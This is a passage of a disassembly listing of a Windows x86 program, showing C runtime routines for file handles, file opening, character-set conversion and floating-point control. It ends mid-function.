loc_4240A7: ; CODE XREF: sub_424030+61j
pop edi
pop esi
retn
sub_424030 endp
; =============== S U B R O U T I N E =======================================
sub_4240AA proc near ; CODE XREF: sub_41E312+32p
; sub_41E312+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DD160
jnb short loc_4240D2
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DD060[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_4240D2
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_4240D2: ; CODE XREF: sub_4240AA+Aj
; sub_4240AA+23j
and dword_4DBDF0, 0
mov dword_4DBDEC, 9
or eax, 0FFFFFFFFh
retn
sub_4240AA endp
; =============== S U B R O U T I N E =======================================
sub_4240E7 proc near ; CODE XREF: sub_41E3F0+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DD160
jnb short loc_424130
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, dword_4DD060[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_424130
push eax
call sub_4240AA
pop ecx
push eax
call dword_42701C ; FlushFileBuffers
test eax, eax
jnz short loc_424125
call dword_427094 ; RtlGetLastWin32Error
jmp short loc_424127
; ---------------------------------------------------------------------------
loc_424125: ; CODE XREF: sub_4240E7+34j
xor eax, eax
loc_424127: ; CODE XREF: sub_4240E7+3Cj
test eax, eax
jz short locret_42413D
mov dword_4DBDF0, eax
loc_424130: ; CODE XREF: sub_4240E7+Aj
; sub_4240E7+22j
mov dword_4DBDEC, 9
or eax, 0FFFFFFFFh
locret_42413D: ; CODE XREF: sub_4240E7+42j
retn
sub_4240E7 endp
; =============== S U B R O U T I N E =======================================
sub_42413E proc near ; DATA XREF: .packed:00429020o
mov eax, dword_4DD040
push esi
push 14h
test eax, eax
pop esi
jnz short loc_424152
mov eax, 200h
jmp short loc_424158
; ---------------------------------------------------------------------------
loc_424152: ; CODE XREF: sub_42413E+Bj
cmp eax, esi
jge short loc_42415D
mov eax, esi
loc_424158: ; CODE XREF: sub_42413E+12j
mov dword_4DD040, eax
loc_42415D: ; CODE XREF: sub_42413E+16j
push 4
push eax
call sub_4250B2
pop ecx
mov dword_4DC02C, eax
test eax, eax
pop ecx
jnz short loc_424191
push 4
push esi
mov dword_4DD040, esi
call sub_4250B2
pop ecx
mov dword_4DC02C, eax
test eax, eax
pop ecx
jnz short loc_424191
push 1Ah
call sub_41E2C9
pop ecx
loc_424191: ; CODE XREF: sub_42413E+30j
; sub_42413E+49j
xor ecx, ecx
mov eax, offset off_43D578
loc_424198: ; CODE XREF: sub_42413E+6Ej
mov edx, dword_4DC02C
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_43D7F8
jl short loc_424198
xor edx, edx
mov ecx, offset dword_43D588
loc_4241B5: ; CODE XREF: sub_42413E+A1j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, dword_4DD060[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_4241D2
test eax, eax
jnz short loc_4241D5
loc_4241D2: ; CODE XREF: sub_42413E+8Ej
or dword ptr [ecx], 0FFFFFFFFh
loc_4241D5: ; CODE XREF: sub_42413E+92j
add ecx, 20h
inc edx
cmp ecx, offset dword_43D5E8
jl short loc_4241B5
pop esi
retn
sub_42413E endp
; =============== S U B R O U T I N E =======================================
sub_4241E3 proc near ; DATA XREF: .packed:00429030o
; FUNCTION CHUNK AT 00425163 SIZE 00000058 BYTES
call sub_41E487
cmp byte_4DBE2C, 0
jz short locret_4241F6
jmp loc_425163
; ---------------------------------------------------------------------------
locret_4241F6: ; CODE XREF: sub_4241E3+Cj
retn
sub_4241E3 endp
; =============== S U B R O U T I N E =======================================
sub_4241F7 proc near ; CODE XREF: sub_41F8E3+32p
; sub_41FE2A+6Cp ...
arg_0 = dword ptr 4
inc dword_4DBFBC
push 1000h
call sub_41BEB5
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_424220
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_424231
; ---------------------------------------------------------------------------
loc_424220: ; CODE XREF: sub_4241F7+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_424231: ; CODE XREF: sub_4241F7+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_4241F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42423B proc near ; CODE XREF: sub_41FBCD+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_424261
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_42426C
; ---------------------------------------------------------------------------
loc_424261: ; CODE XREF: sub_42423B+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_42426C: ; CODE XREF: sub_42423B+24j
mov eax, 8000h
test ecx, eax
jnz short loc_424286
test ch, 40h
jnz short loc_424282
cmp dword_4DC008, eax
jz short loc_424286
loc_424282: ; CODE XREF: sub_42423B+3Dj
or [ebp+var_1], 80h
loc_424286: ; CODE XREF: sub_42423B+38j
; sub_42423B+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_4242BE
dec eax
jz short loc_4242B5
dec eax
jz short loc_4242AC
loc_424297: ; CODE XREF: sub_42423B+9Fj
; sub_42423B+E8j ...
mov dword_4DBDEC, 16h
mov dword_4DBDF0, ebx
jmp loc_4244D1
; ---------------------------------------------------------------------------
loc_4242AC: ; CODE XREF: sub_42423B+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_4242C5
; ---------------------------------------------------------------------------
loc_4242B5: ; CODE XREF: sub_42423B+57j
mov [ebp+var_C], 40000000h
jmp short loc_4242C5
; ---------------------------------------------------------------------------
loc_4242BE: ; CODE XREF: sub_42423B+54j
mov [ebp+var_C], 80000000h
loc_4242C5: ; CODE XREF: sub_42423B+78j
; sub_42423B+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_4242F3
cmp eax, 20h
jz short loc_4242EA
cmp eax, 30h
jz short loc_4242E1
cmp eax, 40h
jnz short loc_424297
mov [ebp+var_10], esi
jmp short loc_4242F6
; ---------------------------------------------------------------------------
loc_4242E1: ; CODE XREF: sub_42423B+9Aj
mov [ebp+var_10], 2
jmp short loc_4242F6
; ---------------------------------------------------------------------------
loc_4242EA: ; CODE XREF: sub_42423B+95j
mov [ebp+var_10], 1
jmp short loc_4242F6
; ---------------------------------------------------------------------------
loc_4242F3: ; CODE XREF: sub_42423B+90j
mov [ebp+var_10], ebx
loc_4242F6: ; CODE XREF: sub_42423B+A4j
; sub_42423B+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_424340
jz short loc_42433B
cmp ecx, ebx
jz short loc_42433B
cmp ecx, edi
jz short loc_424332
cmp ecx, 200h
jz short loc_424359
cmp ecx, 300h
jnz loc_424297
mov [ebp+var_8], 2
jmp short loc_424369
; ---------------------------------------------------------------------------
loc_424332: ; CODE XREF: sub_42423B+D8j
mov [ebp+var_8], 4
jmp short loc_424369
; ---------------------------------------------------------------------------
loc_42433B: ; CODE XREF: sub_42423B+D0j
; sub_42423B+D4j
mov [ebp+var_8], esi
jmp short loc_424369
; ---------------------------------------------------------------------------
loc_424340: ; CODE XREF: sub_42423B+CEj
cmp ecx, 500h
jz short loc_424362
cmp ecx, 600h
jz short loc_424359
cmp ecx, edx
jz short loc_424362
jmp loc_424297
; ---------------------------------------------------------------------------
loc_424359: ; CODE XREF: sub_42423B+E0j
; sub_42423B+113j
mov [ebp+var_8], 5
jmp short loc_424369
; ---------------------------------------------------------------------------
loc_424362: ; CODE XREF: sub_42423B+10Bj
; sub_42423B+117j
mov [ebp+var_8], 1
loc_424369: ; CODE XREF: sub_42423B+F5j
; sub_42423B+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_424388
mov ecx, dword_4DBDF4
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_424388
push 1
pop esi
loc_424388: ; CODE XREF: sub_42423B+138j
; sub_42423B+148j
test al, 40h
jz short loc_424396
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_424396: ; CODE XREF: sub_42423B+14Fj
test ah, 10h
jz short loc_42439D
or esi, edi
loc_42439D: ; CODE XREF: sub_42423B+15Ej
test al, 20h
jz short loc_4243A9
or esi, 8000000h
jmp short loc_4243B3
; ---------------------------------------------------------------------------
loc_4243A9: ; CODE XREF: sub_42423B+164j
test al, 10h
jz short loc_4243B3
or esi, 10000000h
loc_4243B3: ; CODE XREF: sub_42423B+16Cj
; sub_42423B+170j
call sub_423F24
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_4243D4
and dword_4DBDF0, 0
mov dword_4DBDEC, 18h
jmp short loc_424412
; ---------------------------------------------------------------------------
loc_4243D4: ; CODE XREF: sub_42423B+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
call dword_4270F8 ; CreateFileA
mov esi, eax
cmp esi, edi
jz short loc_424405
push esi
call dword_427024 ; GetFileType
test eax, eax
jnz short loc_424419
push esi
call dword_427070 ; CloseHandle
loc_424405: ; CODE XREF: sub_42423B+1B6j
call dword_427094 ; RtlGetLastWin32Error
push eax
call sub_420C7F
pop ecx
loc_424412: ; CODE XREF: sub_42423B+197j
mov eax, edi
jmp loc_4244EF
; ---------------------------------------------------------------------------
loc_424419: ; CODE XREF: sub_42423B+1C1j
cmp eax, 2
jnz short loc_424424
or [ebp+var_1], 40h
jmp short loc_42442D
; ---------------------------------------------------------------------------
loc_424424: ; CODE XREF: sub_42423B+1E1j
cmp eax, 3
jnz short loc_42442D
or [ebp+var_1], 8
loc_42442D: ; CODE XREF: sub_42423B+1E7j
; sub_42423B+1ECj
push esi
push ebx
call sub_423FB9
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:4DD060h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_4244D6
test al, 80h
jz short loc_4244D6
test byte ptr [ebp+arg_4], 2
jz short loc_4244D6
push 2
push 0FFFFFFFFh
push ebx
call sub_422F09
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_42448B
cmp dword_4DBDF0, 83h
jz short loc_4244D6
jmp short loc_4244CA
; ---------------------------------------------------------------------------
loc_42448B: ; CODE XREF: sub_42423B+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_41F9BC
add esp, 0Ch
test eax, eax
jnz short loc_4244B8
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_4244B8
push [ebp+var_10]
push ebx
call sub_4251BB
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_4244CA
loc_4244B8: ; CODE XREF: sub_42423B+265j
; sub_42423B+26Bj
push 0
push 0
push ebx
call sub_422F09
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_4244D6
loc_4244CA: ; CODE XREF: sub_42423B+24Ej
; sub_42423B+27Bj
push ebx
call sub_41E312
pop ecx
loc_4244D1: ; CODE XREF: sub_42423B+6Cj
or eax, 0FFFFFFFFh
jmp short loc_4244EF
; ---------------------------------------------------------------------------
loc_4244D6: ; CODE XREF: sub_42423B+221j
; sub_42423B+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_4244ED
test byte ptr [ebp+arg_4], 8
jz short loc_4244ED
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_4244ED: ; CODE XREF: sub_42423B+29Fj
; sub_42423B+2A5j
mov eax, ebx
loc_4244EF: ; CODE XREF: sub_42423B+1D9j
; sub_42423B+299j
pop edi
pop esi
pop ebx
leave
retn
sub_42423B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4244F4 proc near ; CODE XREF: sub_41FDB5+5Ep
; sub_420988+9Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427C30
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4DBFC4
xor ebx, ebx
cmp eax, ebx
jnz short loc_424563
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_427920
push esi
call dword_427014 ; GetStringTypeW
test eax, eax
jz short loc_424541
mov eax, esi
jmp short loc_42455E
; ---------------------------------------------------------------------------
loc_424541: ; CODE XREF: sub_4244F4+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset word_4CB89C
push esi
push ebx
call dword_427018 ; GetStringTypeA
test eax, eax
jz loc_424629
push 2
pop eax
loc_42455E: ; CODE XREF: sub_4244F4+4Bj
mov dword_4DBFC4, eax
loc_424563: ; CODE XREF: sub_4244F4+2Fj
cmp eax, 2
jnz short loc_42458C
mov eax, [ebp+arg_14]
cmp eax, ebx
jnz short loc_424574
mov eax, dword_4DBE94
loc_424574: ; CODE XREF: sub_4244F4+79j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
call dword_427018 ; GetStringTypeA
jmp loc_42462B
; ---------------------------------------------------------------------------
loc_42458C: ; CODE XREF: sub_4244F4+72j
cmp eax, 1
jnz loc_424629
cmp [ebp+arg_10], ebx
jnz short loc_4245A2
mov eax, dword_4DBEA4
mov [ebp+arg_10], eax
loc_4245A2: ; CODE XREF: sub_4244F4+A4j
push ebx
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_18]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_10]
call dword_4270E8 ; MultiByteToWideChar
mov [ebp+var_20], eax
cmp eax, ebx
jz short loc_424629
mov [ebp+var_4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov esi, esp
mov [ebp+var_24], esi
push edi
push ebx
push esi
call sub_41BF70
add esp, 0Ch
jmp short loc_4245F8
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor esi, esi
loc_4245F8: ; CODE XREF: sub_4244F4+F7j
or [ebp+var_4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_424629
push [ebp+var_20]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push [ebp+arg_10]
call dword_4270E8 ; MultiByteToWideChar
cmp eax, ebx
jz short loc_424629
push [ebp+arg_C]
push eax
push esi
push [ebp+arg_0]
call dword_427014 ; GetStringTypeW
jmp short loc_42462B
; ---------------------------------------------------------------------------
loc_424629: ; CODE XREF: sub_4244F4+61j
; sub_4244F4+9Bj ...
xor eax, eax
loc_42462B: ; CODE XREF: sub_4244F4+93j
; sub_4244F4+133j
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4244F4 endp
; =============== S U B R O U T I N E =======================================
sub_42463D proc near ; CODE XREF: sub_41FE2A+61p
; sub_420CE6+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DD160
jb short loc_42464C
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42464C: ; CODE XREF: sub_42463D+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DD060[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_42463D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424663 proc near ; CODE XREF: sub_41FF3F+2D4p
; sub_41FF3F+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_42466F
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42466F: ; CODE XREF: sub_424663+8j
cmp dword_4DBE94, 0
jnz short loc_42468A
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_4246BC
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42468A: ; CODE XREF: sub_424663+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push dword_43D094
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push dword_4DBEA4
call dword_427188 ; WideCharToMultiByte
test eax, eax
jz short loc_4246BC
cmp [ebp+arg_0], 0
jz short loc_4246C9
loc_4246BC: ; CODE XREF: sub_424663+1Ej
; sub_424663+51j
mov dword_4DBDEC, 2Ah
or eax, 0FFFFFFFFh
loc_4246C9: ; CODE XREF: sub_424663+57j
pop ebp
retn
sub_424663 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4246CB proc near ; CODE XREF: sub_420DB0+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_4246EE
cmp [ebp+arg_8], ebx
jz short loc_4246EE
mov al, [esi]
cmp al, bl
jnz short loc_4246F4
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_4246EE
mov [eax], bx
loc_4246EE: ; CODE XREF: sub_4246CB+Cj
; sub_4246CB+11j ...
xor eax, eax
loc_4246F0: ; CODE XREF: sub_4246CB+42j
; sub_4246CB+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4246F4: ; CODE XREF: sub_4246CB+17j
cmp dword_4DBE94, ebx
jnz short loc_42470F
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_42470A
movzx ax, al
mov [ecx], ax
loc_42470A: ; CODE XREF: sub_4246CB+36j
; sub_4246CB+C0j
push 1
pop eax
jmp short loc_4246F0
; ---------------------------------------------------------------------------
loc_42470F: ; CODE XREF: sub_4246CB+2Fj
mov ecx, off_43CE88
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_42476C
mov eax, dword_43D094
cmp eax, 1
jle short loc_424753
cmp [ebp+arg_8], eax
jl short loc_42475D
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push dword_4DBEA4
call dword_4270E8 ; MultiByteToWideChar
test eax, eax
mov eax, dword_43D094
jnz short loc_4246F0
loc_424753: ; CODE XREF: sub_4246CB+5Cj
cmp [ebp+arg_8], eax
jb short loc_42475D
cmp [esi+1], bl
jnz short loc_4246F0
loc_42475D: ; CODE XREF: sub_4246CB+61j
; sub_4246CB+8Bj ...
mov dword_4DBDEC, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_4246F0
; ---------------------------------------------------------------------------
loc_42476C: ; CODE XREF: sub_4246CB+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push dword_4DBEA4
call dword_4270E8 ; MultiByteToWideChar
test eax, eax
jnz loc_42470A
jmp short loc_42475D
sub_4246CB endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4247A0 proc near ; CODE XREF: sub_420DB0+797p
; sub_420DB0+7E7p
cmp cl, 40h
jnb short loc_4247BA
cmp cl, 20h
jnb short loc_4247B0
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_4247B0: ; CODE XREF: sub_4247A0+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_4247BA: ; CODE XREF: sub_4247A0+3j
xor eax, eax
xor edx, edx
retn
sub_4247A0 endp
; =============== S U B R O U T I N E =======================================
sub_4247BF proc near ; CODE XREF: sub_421826+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_42480B
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_4247DD
test al, 80h
jz short loc_42480B
test al, 2
jnz short loc_42480B
loc_4247DD: ; CODE XREF: sub_4247BF+14j
cmp dword ptr [esi+8], 0
jnz short loc_4247EA
push esi
call sub_4241F7
pop ecx
loc_4247EA: ; CODE XREF: sub_4247BF+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_4247FA
cmp dword ptr [esi+4], 0
jnz short loc_42480B
inc eax
mov [esi], eax
loc_4247FA: ; CODE XREF: sub_4247BF+30j
test byte ptr [esi+0Ch], 40h
jz short loc_424811
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_424817
inc eax
mov [esi], eax
loc_42480B: ; CODE XREF: sub_4247BF+9j
; sub_4247BF+18j ...
or eax, 0FFFFFFFFh
loc_42480E: ; CODE XREF: sub_4247BF+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424811: ; CODE XREF: sub_4247BF+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_424817: ; CODE XREF: sub_4247BF+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_42480E
sub_4247BF endp
; =============== S U B R O U T I N E =======================================
sub_42482D proc near ; CODE XREF: sub_421E16+52p
xor eax, eax
retn
sub_42482D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424830 proc near ; CODE XREF: sub_424865+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_42487B
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_42490D
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_424830 endp
; =============== S U B R O U T I N E =======================================
sub_424865 proc near ; CODE XREF: sub_422102+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_424830
pop ecx
pop ecx
retn
sub_424865 endp
; =============== S U B R O U T I N E =======================================
sub_42487B proc near ; CODE XREF: sub_424830+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_42488C
push 10h
pop eax
loc_42488C: ; CODE XREF: sub_42487B+Cj
test bl, 4
jz short loc_424893
or al, 8
loc_424893: ; CODE XREF: sub_42487B+14j
test bl, 8
jz short loc_42489A
or al, 4
loc_42489A: ; CODE XREF: sub_42487B+1Bj
test bl, 10h
jz short loc_4248A1
or al, 2
loc_4248A1: ; CODE XREF: sub_42487B+22j
test bl, 20h
jz short loc_4248A8
or al, 1
loc_4248A8: ; CODE XREF: sub_42487B+29j
test bl, 2
jz short loc_4248B2
or eax, 80000h
loc_4248B2: ; CODE XREF: sub_42487B+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_4248EA
cmp edx, 400h
jz short loc_4248E7
cmp edx, 800h
jz short loc_4248E3
cmp edx, esi
jnz short loc_4248EA
or eax, edi
jmp short loc_4248EA
; ---------------------------------------------------------------------------
loc_4248E3: ; CODE XREF: sub_42487B+5Ej
or eax, ebp
jmp short loc_4248EA
; ---------------------------------------------------------------------------
loc_4248E7: ; CODE XREF: sub_42487B+56j
or ah, 1
loc_4248EA: ; CODE XREF: sub_42487B+4Ej
; sub_42487B+62j ...
and ecx, edi
pop esi
jz short loc_4248FA
cmp ecx, ebp
jnz short loc_4248FF
or eax, 10000h
jmp short loc_4248FF
; ---------------------------------------------------------------------------
loc_4248FA: ; CODE XREF: sub_42487B+72j
or eax, 20000h
loc_4248FF: ; CODE XREF: sub_42487B+76j
; sub_42487B+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_42490C
or eax, 40000h
locret_42490C: ; CODE XREF: sub_42487B+8Aj
retn
sub_42487B endp
; =============== S U B R O U T I N E =======================================
sub_42490D proc near ; CODE XREF: sub_424830+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_42491D
push 1
pop eax
loc_42491D: ; CODE XREF: sub_42490D+Bj
test bl, 8
jz short loc_424924
or al, 4
loc_424924: ; CODE XREF: sub_42490D+13j
test bl, 4
jz short loc_42492B
or al, 8
loc_42492B: ; CODE XREF: sub_42490D+1Aj
test bl, 2
jz short loc_424932
or al, 10h
loc_424932: ; CODE XREF: sub_42490D+21j
test bl, 1
jz short loc_424939
or al, 20h
loc_424939: ; CODE XREF: sub_42490D+28j
test ebx, 80000h
jz short loc_424943
or al, 2
loc_424943: ; CODE XREF: sub_42490D+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_424970
cmp ecx, 100h
jz short loc_42496D
cmp ecx, esi
jz short loc_424968
cmp ecx, edx
jnz short loc_424970
or ah, 0Ch
jmp short loc_424970
; ---------------------------------------------------------------------------
loc_424968: ; CODE XREF: sub_42490D+50j
or ah, 8
jmp short loc_424970
; ---------------------------------------------------------------------------
loc_42496D: ; CODE XREF: sub_42490D+4Cj
or ah, 4
loc_424970: ; CODE XREF: sub_42490D+44j
; sub_42490D+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_424986
cmp ecx, 10000h
jnz short loc_424988
or eax, esi
jmp short loc_424988
; ---------------------------------------------------------------------------
loc_424986: ; CODE XREF: sub_42490D+6Bj
or eax, edx
loc_424988: ; CODE XREF: sub_42490D+73j
; sub_42490D+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_424995
or ah, 10h
locret_424995: ; CODE XREF: sub_42490D+83j
retn
sub_42490D endp
; =============== S U B R O U T I N E =======================================
sub_424996 proc near ; CODE XREF: sub_424A35+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_4249DB
inc esi
cmp esi, 3
jge short loc_4249D6
lea eax, [eax+esi*4]
loc_4249C8: ; CODE XREF: sub_424996+3Ej
cmp dword ptr [eax], 0
jnz short loc_4249DB
inc esi
add eax, 4
cmp esi, 3
jl short loc_4249C8
loc_4249D6: ; CODE XREF: sub_424996+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4249DB: ; CODE XREF: sub_424996+27j
; sub_424996+35j
xor eax, eax
pop esi
retn
sub_424996 endp
; =============== S U B R O U T I N E =======================================
sub_4249DF proc near ; CODE XREF: sub_424A35+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_425301
add esp, 0Ch
dec esi
js short loc_424A31
lea edi, [ebx+esi*4]
loc_424A18: ; CODE XREF: sub_4249DF+50j
test eax, eax
jz short loc_424A31
push edi
push 1
push dword ptr [edi]
call sub_425301
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_424A18
loc_424A31: ; CODE XREF: sub_4249DF+34j
; sub_4249DF+3Bj
pop edi
pop esi
pop ebx
retn
sub_4249DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424A35 proc near ; CODE XREF: sub_424B90+81p
; sub_424B90+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
